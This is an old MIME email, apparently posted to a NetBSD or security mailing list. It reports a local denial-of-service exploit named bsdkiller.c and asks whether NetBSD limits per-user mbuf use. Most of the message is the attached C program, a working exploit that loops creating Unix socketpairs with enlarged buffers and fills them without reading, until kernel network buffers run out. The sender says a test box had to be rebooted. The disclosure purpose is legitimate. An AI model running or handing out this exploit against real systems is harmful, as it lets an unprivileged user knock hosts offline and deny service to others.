This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01BFC75A.004E5682
Content-Type: text/plain;
	charset="iso-8859-1"

 <<bsdkiller.c>> 
This file was sent to me by someone at USSR labs.  I think it's going to hit
bugtraq next week if it hasn't yet.  Basically it just ups the send/recv
bufs and then sends data in a loop without recieving it. Has this been
addressed before?  I tested it on a 1.4.1 sparc box.  I didn't have local
access to it so I had to reboot the box because I couldn't get any network
traffic in.  Could NetBSD have some per process/user cap on the number of
mbufs used?  A regular user should not be able to saturate any buffer
resources..

 <<bsdkiller.c>> 

------_=_NextPart_000_01BFC75A.004E5682
Content-Type: application/octet-stream;
	name="bsdkiller.c"
Content-Disposition: attachment;
	filename="bsdkiller.c"

#include	<unistd.h>
#include	<sys/socket.h>
#include	<fcntl.h>

#define		BUFFERSIZE	204800

extern	int
main(void)
{
	int		p[2], i;
	char		crap[BUFFERSIZE];

	while (1)
	{
		if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
			break;
		i = BUFFERSIZE;
		setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
		setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
		setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
		setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
		fcntl(p[0], F_SETFL, O_NONBLOCK);
		fcntl(p[1], F_SETFL, O_NONBLOCK);
		write(p[0], crap, BUFFERSIZE);
		write(p[1], crap, BUFFERSIZE);
	}
	exit(0);

------_=_NextPart_000_01BFC75A.004E5682--